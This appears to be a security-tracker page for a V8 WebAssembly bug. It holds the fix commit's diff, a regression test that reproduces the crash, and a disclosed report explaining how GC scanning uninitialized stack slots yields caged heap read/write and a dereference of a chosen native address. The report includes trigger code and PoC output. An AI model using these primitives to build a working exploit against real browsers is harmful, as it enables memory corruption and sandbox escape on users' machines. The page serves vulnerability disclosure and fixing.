Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactImproper access control in V8
DescriptionImproper access control in V8
ComponentV8
Sub-componentWASM
Bug ClassLogic Error
Tracker561660149
Fix commitf2586e39cf4d (v8/v8) +96/-24
CISA KEVNot listed
CreditedOpenAI Codex Security (amyb)
Disclosed2026-10-20

Changed Functions

FunctionChangeNotes
if
src/compiler/backend/arm/code-generator-arm.cc
modified
for
test/mjsunit/regress/wasm/regress-561660149.js
modified

Files Changed

  • src/compiler/backend/ia32/code-generator-ia32.cc
  • test/mjsunit/regress/wasm/regress-561660149.js
  • src/compiler/backend/x64/code-generator-x64.cc
  • src/compiler/backend/code-generator.cc
  • src/compiler/backend/code-generator.h
  • src/compiler/backend/arm/code-generator-arm.cc
  • src/compiler/backend/arm64/code-generator-arm64.cc
  • test/mjsunit/mjsunit.status
From f2586e39cf4d2b288e7cd67194b3d5984e31133a Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <jkummerow@chromium.org>
Date: Wed, 16 Sep 2026 17:55:28 +0200
Subject: [PATCH] [wasm] Fix safepoints in huge-frame stack check

For very large frames, we stack for check overflow before
writing into the frame, which means any tagged slots in the
frame are still uninitialized and not safe for GC visitation.
So the safepoint for the error case of the huge-frame stack check
should not indicate any tagged slots.

Fixed: 561660149
Change-Id: Ifd6c30de820df0d521a2d7883a064d3a6439e7f1
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8418288
Commit-Queue: Matthias Liedtke <mliedtke@chromium.org>
Auto-Submit: Jakob Kummerow <jkummerow@chromium.org>
Reviewed-by: Matthias Liedtke <mliedtke@chromium.org>
Commit-Queue: Jakob Kummerow <jkummerow@chromium.org>
Cr-Commit-Position: refs/heads/main@{#109883}
---
diff --git a/src/compiler/backend/arm/code-generator-arm.cc b/src/compiler/backend/arm/code-generator-arm.cc
index 95ddaad..bb60c45 100644
--- a/src/compiler/backend/arm/code-generator-arm.cc
+++ b/src/compiler/backend/arm/code-generator-arm.cc
@@ -327,8 +327,7 @@
     // Just encode the stub index. This will be patched when the code
     // is added to the native module and copied into wasm code space.
     __ Call(static_cast<Address>(trap_id), RelocInfo::WASM_STUB_CALL);
-    ReferenceMap* reference_map = gen_->zone()->New<ReferenceMap>(gen_->zone());
-    gen_->RecordSafepoint(reference_map);
+    gen_->RecordSafepointWithoutTaggedSlots();
     if (v8_flags.debug_code) {
       __ stop();
     }
@@ -4036,8 +4035,7 @@
         // return in this case.
         // So either way, we can just ignore any references and record an empty
         // safepoint here.
-        ReferenceMap* reference_map = zone()->New<ReferenceMap>(zone());
-        RecordSafepoint(reference_map);
+        RecordSafepointWithoutTaggedSlots();
         __ vldm(ia_w, sp, fp_regs_to_save.first(), fp_regs_to_save.last());
         __ ldm(ia_w, sp, regs_to_save);
       } else {
@@ -4045,8 +4043,7 @@
                 RelocInfo::WASM_STUB_CALL);
         // The call does not return, hence we can ignore any references and just
         // define an empty safepoint.
-        ReferenceMap* reference_map = zone()->New<ReferenceMap>(zone());
-        RecordSafepoint(reference_map);
+        RecordSafepointWithoutTaggedSlots();
         if (v8_flags.debug_code) __ stop();
       }
 
diff --git a/src/compiler/backend/arm64/code-generator-arm64.cc b/src/compiler/backend/arm64/code-generator-arm64.cc
index 44fb16a..0a3fc03 100644
--- a/src/compiler/backend/arm64/code-generator-arm64.cc
+++ b/src/compiler/backend/arm64/code-generator-arm64.cc
@@ -552,8 +552,7 @@
   void GenerateCallToTrap(TrapId trap_id) {
     gen_->AssembleSourcePosition(instr_);
     __ Call(static_cast<Address>(trap_id), RelocInfo::WASM_STUB_CALL);
-    ReferenceMap* reference_map = gen_->zone()->New<ReferenceMap>(gen_->zone());
-    gen_->RecordSafepoint(reference_map);
+    gen_->RecordSafepointWithoutTaggedSlots();
     __ AssertUnreachable(AbortReason::kUnexpectedReturnFromWasmTrap);
   }
 
@@ -4514,8 +4513,7 @@
         // return in this case.
         // So either way, we can just ignore any references and record an empty
         // safepoint here.
-        ReferenceMap* reference_map = zone()->New<ReferenceMap>(zone());
-        RecordSafepoint(reference_map);
+        RecordSafepointWithoutTaggedSlots();
         __ PopCPURegList(fp_regs_to_save);
         __ PopCPURegList(regs_to_save);
       } else {
@@ -4523,8 +4521,7 @@
                 RelocInfo::WASM_STUB_CALL);
         // The call does not return, hence we can ignore any references and just
         // define an empty safepoint.
-        ReferenceMap* reference_map = zone()->New<ReferenceMap>(zone());
-        RecordSafepoint(reference_map);
+        RecordSafepointWithoutTaggedSlots();
         if (v8_flags.debug_code) __ Brk(0);
       }
       __ Bind(&done);
diff --git a/src/compiler/backend/code-generator.cc b/src/compiler/backend/code-generator.cc
index 237cc91..ed3c705 100644
--- a/src/compiler/backend/code-generator.cc
+++ b/src/compiler/backend/code-generator.cc
@@ -602,6 +602,10 @@
   }
 }
 
+void CodeGenerator::RecordSafepointWithoutTaggedSlots() {
+  safepoints()->DefineSafepoint(masm());
+}
+
 bool CodeGenerator::IsMaterializableFromRoot(Handle<HeapObject> object,
                                              RootIndex* index_return) {
   const CallDescriptor* incoming_descriptor =
diff --git a/src/compiler/backend/code-generator.h b/src/compiler/backend/code-generator.h
index b942d17..41006f5 100644
--- a/src/compiler/backend/code-generator.h
+++ b/src/compiler/backend/code-generator.h
@@ -123,6 +123,10 @@
   // the current pc is used to define the safepoint. Otherwise the provided
   // pc_offset is used.
   void RecordSafepoint(ReferenceMap* references, int pc_offset = 0);
+  // In special cases (such as stack checks before initializing the frame),
+  // tagged slots are not yet initialized and hence not safe to visit, so any
+  // safepoints should not include them.
+  void RecordSafepointWithoutTaggedSlots();
 
   Zone* zone() const { return zone_; }
   MacroAssembler* masm() { return &masm_; }
diff --git a/src/compiler/backend/ia32/code-generator-ia32.cc b/src/compiler/backend/ia32/code-generator-ia32.cc
index f7a877c..58cdec9 100644
--- a/src/compiler/backend/ia32/code-generator-ia32.cc
+++ b/src/compiler/backend/ia32/code-generator-ia32.cc
@@ -392,8 +392,7 @@
     // Just encode the stub index. This will be patched when the code
     // is added to the native module and copied into wasm code space.
     __ wasm_call(static_cast<Address>(trap_id), RelocInfo::WASM_STUB_CALL);
-    ReferenceMap* reference_map = gen_->zone()->New<ReferenceMap>(gen_->zone());
-    gen_->RecordSafepoint(reference_map);
+    gen_->RecordSafepointWithoutTaggedSlots();
     __ AssertUnreachable(AbortReason::kUnexpectedReturnFromWasmTrap);
   }
 
@@ -4258,8 +4257,7 @@
         // return in this case.
         // So either way, we can just ignore any references and record an empty
         // safepoint here.
-        ReferenceMap* reference_map = zone()->New<ReferenceMap>(zone());
-        RecordSafepoint(reference_map);
+        RecordSafepointWithoutTaggedSlots();
         for (size_t i = 0; i < arraysize(wasm::kFpParamRegisters); i++) {
           __ Movdqu(wasm::kFpParamRegisters[i], Operand(esp, kSimd128Size * i));
         }
@@ -4273,8 +4271,7 @@
                      RelocInfo::WASM_STUB_CALL);
         // The call does not return, hence we can ignore any references and just
         // define an empty safepoint.
-        ReferenceMap* reference_map = zone()->New<ReferenceMap>(zone());
-        RecordSafepoint(reference_map);
+        RecordSafepointWithoutTaggedSlots();
         __ AssertUnreachable(AbortReason::kUnexpectedReturnFromWasmTrap);
       }
       __ bind(&done);
diff --git a/src/compiler/backend/x64/code-generator-x64.cc b/src/compiler/backend/x64/code-generator-x64.cc
index 1d83a04..bfbe284 100644
--- a/src/compiler/backend/x64/code-generator-x64.cc
+++ b/src/compiler/backend/x64/code-generator-x64.cc
@@ -675,8 +675,7 @@
     // Just encode the stub index. This will be patched when the code
     // is added to the native module and copied into wasm code space.
     __ near_call(static_cast<Address>(trap_id), RelocInfo::WASM_STUB_CALL);
-    ReferenceMap* reference_map = gen_->zone()->New<ReferenceMap>(gen_->zone());
-    gen_->RecordSafepoint(reference_map);
+    gen_->RecordSafepointWithoutTaggedSlots();
     __ AssertUnreachable(AbortReason::kUnexpectedReturnFromWasmTrap);
   }
 
@@ -8488,8 +8487,7 @@
         // allocating the stack overflow exception object, but the call did not
         // return in this case.
         // So either way, we can just record an empty safepoint here.
-        ReferenceMap* reference_map = zone()->New<ReferenceMap>(zone());
-        RecordSafepoint(reference_map);
+        RecordSafepointWithoutTaggedSlots();
         __ PopAll(fp_regs_to_save);
         __ PopAll(regs_to_save);
       } else {
@@ -8497,8 +8495,7 @@
                      RelocInfo::WASM_STUB_CALL);
         // The call does not return, hence we can ignore any references and just
         // define an empty safepoint.
-        ReferenceMap* reference_map = zone()->New<ReferenceMap>(zone());
-        RecordSafepoint(reference_map);
+        RecordSafepointWithoutTaggedSlots();
         __ AssertUnreachable(AbortReason::kUnexpectedReturnFromWasmTrap);
       }
       __ bind(&done);
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index 0be8530..d36924d 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -2953,6 +2953,7 @@
   'regress/wasm/regress-483269968': [SKIP],
   'regress/wasm/regress-543901836': [SKIP],
   'regress/wasm/regress-560536735': [SKIP],
+  'regress/wasm/regress-561660149': [SKIP],
   'compiler/regress-347724915': [SKIP],
   'regress/regress-crbug-418520151': [SKIP],
   'regress/regress-535000102': [SKIP],
diff --git a/test/mjsunit/regress/wasm/regress-561660149.js b/test/mjsunit/regress/wasm/regress-561660149.js
new file mode 100644
index 0000000..eba91e8
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-561660149.js
@@ -0,0 +1,75 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --stack-size=100
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+const builder = new WasmModuleBuilder();
+const array_type = builder.addArray(kWasmExternRef, {mutable: true});
+
+const kNumParamsA = 50;
+const sigA = makeSig(new Array(kNumParamsA).fill(kWasmI64), []);
+const funcA = builder.addFunction('A', sigA).addBody([]);
+
+const sigBC = makeSig([kWasmI32, wasmRefNullType(array_type)], []);
+
+const bodyB = [];
+for (let i = 0; i < kNumParamsA; i++) {
+  bodyB.push(...wasmI64Const(0x414141414141n));
+}
+bodyB.push(kExprCallFunction, funcA.index);
+builder.addFunction('B', sigBC).addBody(bodyB).exportFunc();
+
+const kNumParamsBig = 600;
+const sigBig = makeSig(new Array(kNumParamsBig).fill(kWasmI64), []);
+const funcBig = builder.addFunction('Big', sigBig).addBody([]);
+
+const kNumArrayFills = 15;
+const bodyC = [
+  kExprLocalGet, 0,
+  kExprI32Eqz,
+  kExprIf, kWasmVoid,
+];
+for (let i = 0; i < kNumArrayFills; i++) {
+  bodyC.push(
+    kExprLocalGet, 1,
+    kExprI32Const, 0,
+    kExprRefNull, kExternRefCode,
+    kExprI32Const, 32,
+    kGCPrefix, kExprArrayFill, array_type
+  );
+}
+for (let i = 0; i < kNumParamsBig; i++) {
+  bodyC.push(...wasmI64Const(0n));
+}
+bodyC.push(
+  kExprCallFunction, funcBig.index,
+  kExprEnd
+);
+
+builder.addFunction('C', sigBC)
+  .addBody(bodyC)
+  .exportFunc();
+
+const instance = builder.instantiate();
+const B = instance.exports.B;
+const C = instance.exports.C;
+
+%WasmTierUpFunction(B);
+%WasmTierUpFunction(C);
+Error.stackTraceLimit = 0;
+
+function recurse() {
+  try {
+    B(1, null);
+    recurse();
+  } catch (e) {
+    B(1, null);
+    %SimulateNewspaceFull();
+    C(1, null);
+  }
+}
+
+recurse();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index 0be8530..d36924d 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -2953,6 +2953,7 @@
   'regress/wasm/regress-483269968': [SKIP],
   'regress/wasm/regress-543901836': [SKIP],
   'regress/wasm/regress-560536735': [SKIP],
+  'regress/wasm/regress-561660149': [SKIP],
   'compiler/regress-347724915': [SKIP],
   'regress/regress-crbug-418520151': [SKIP],
   'regress/regress-535000102': [SKIP],
diff --git a/test/mjsunit/regress/wasm/regress-561660149.js b/test/mjsunit/regress/wasm/regress-561660149.js
new file mode 100644
index 0000000..eba91e8
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-561660149.js
@@ -0,0 +1,75 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --stack-size=100
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+const builder = new WasmModuleBuilder();
+const array_type = builder.addArray(kWasmExternRef, {mutable: true});
+
+const kNumParamsA = 50;
+const sigA = makeSig(new Array(kNumParamsA).fill(kWasmI64), []);
+const funcA = builder.addFunction('A', sigA).addBody([]);
+
+const sigBC = makeSig([kWasmI32, wasmRefNullType(array_type)], []);
+
+const bodyB = [];
+for (let i = 0; i < kNumParamsA; i++) {
+  bodyB.push(...wasmI64Const(0x414141414141n));
+}
+bodyB.push(kExprCallFunction, funcA.index);
+builder.addFunction('B', sigBC).addBody(bodyB).exportFunc();
+
+const kNumParamsBig = 600;
+const sigBig = makeSig(new Array(kNumParamsBig).fill(kWasmI64), []);
+const funcBig = builder.addFunction('Big', sigBig).addBody([]);
+
+const kNumArrayFills = 15;
+const bodyC = [
+  kExprLocalGet, 0,
+  kExprI32Eqz,
+  kExprIf, kWasmVoid,
+];
+for (let i = 0; i < kNumArrayFills; i++) {
+  bodyC.push(
+    kExprLocalGet, 1,
+    kExprI32Const, 0,
+    kExprRefNull, kExternRefCode,
+    kExprI32Const, 32,
+    kGCPrefix, kExprArrayFill, array_type
+  );
+}
+for (let i = 0; i < kNumParamsBig; i++) {
+  bodyC.push(...wasmI64Const(0n));
+}
+bodyC.push(
+  kExprCallFunction, funcBig.index,
+  kExprEnd
+);
+
+builder.addFunction('C', sigBC)
+  .addBody(bodyC)
+  .exportFunc();
+
+const instance = builder.instantiate();
+const B = instance.exports.B;
+const C = instance.exports.C;
+
+%WasmTierUpFunction(B);
+%WasmTierUpFunction(C);
+Error.stackTraceLimit = 0;
+
+function recurse() {
+  try {
+    B(1, null);
+    recurse();
+  } catch (e) {
+    B(1, null);
+    %SimulateNewspaceFull();
+    C(1, null);
+  }
+}
+
+recurse();
Loading diff…

Original Bug Report

reported by am...@openai.com

V8 TurboFan Wasm prologue GC confusion enables caged read/write and native-pointer access

V8’s x64 TurboFan WebAssembly compiler exposes uninitialized native stack slots to garbage collection when a large function overflows the stack before completing its prologue. A page can compile a valid Wasm module, place chosen i64 values in earlier call arguments, and trigger collection while V8 constructs the stack-overflow exception. The collector treats those values as object pointers. This single bug provides arbitrary read/write inside the V8 heap sandbox and also reaches outside it: the crash PoC makes GC dereference the attacker-selected native address 0x414243444540.

Root cause

Reference-valued array.fill operations create dedicated tagged stack slots. For large Wasm frames, AssembleConstructFrame calls the stack-overflow builtin before allocating and zeroing those slots. It supplies an empty reference map, but RecordSafepoint adds every dedicated tagged slot unconditionally:

void CodeGenerator::RecordSafepoint(ReferenceMap* references, int pc_offset) {
  auto safepoint = safepoints()->DefineSafepoint(masm(), pc_offset);

  safepoint.DefineTaggedStackSlots(frame()->tagged_slots());

GC therefore scans stack words that the function has not initialized. VisitSpillSlot accepts full-width pointer values, so a planted 0x414243444541n becomes a native object-pointer dereference. The read/write PoC instead places forged objects inside real numeric arrays; moving GC corrupts a live reference array, producing forged Wasm arrays that can address the compression cage.

The large-frame trigger in turbofan-wasm-prologue-crash.js is:

let f=b.addFunction('f',makeSig(params,[])).exportFunc().addBody([
  ...get(3),kExprI32Eqz,kExprBrIf,0,
  ...fill(num,800),...fill(ar,720),...fill(num,150)]);

The faulty safepoint handling was introduced by dab24c400946, which included dedicated tagged slots in every safepoint but initialized them only at the end of frame construction. 47a3535cddfb made the flaw reachable through Wasm array.fill and array.new by marking their reference-value slots as tagged. b6d3d1e9aae2 backported that change to V8 13.2. Chrome 132.0.6834.83 contains the same faulty code, as does upstream main.

Proof of concept

Run standard release d8 on x64 Linux:

d8 turbofan-wasm-prologue-crash.js
d8 turbofan-wasm-prologue-caged-rw.js

On V8 15.3.76.10 and the main build at 6ec859676bcb, the first command faulted at the chosen native address in 50/50 fresh processes each:

Received signal 11 SEGV_MAPERR 414243444540

The second command succeeded in 50/50 stable-build runs and 40/50 main-build runs. It reads a JavaScript object’s marker through the forged array, changes it, verifies the JavaScript-visible value, and restores it:

PASS: caged read/write changed marker from 0x1234567 to 0x2345678

Fix

Give pre-frame stack-overflow calls safepoints that exclude unallocated dedicated tagged slots. Keep those slots marked at safepoints after initialization, and add a regression test that forces GC during a large Wasm frame’s stack-overflow exception.

Disclaimer

This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.

OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.

CREDIT INFORMATION

OpenAI Codex Security (amyb)

View on issue tracker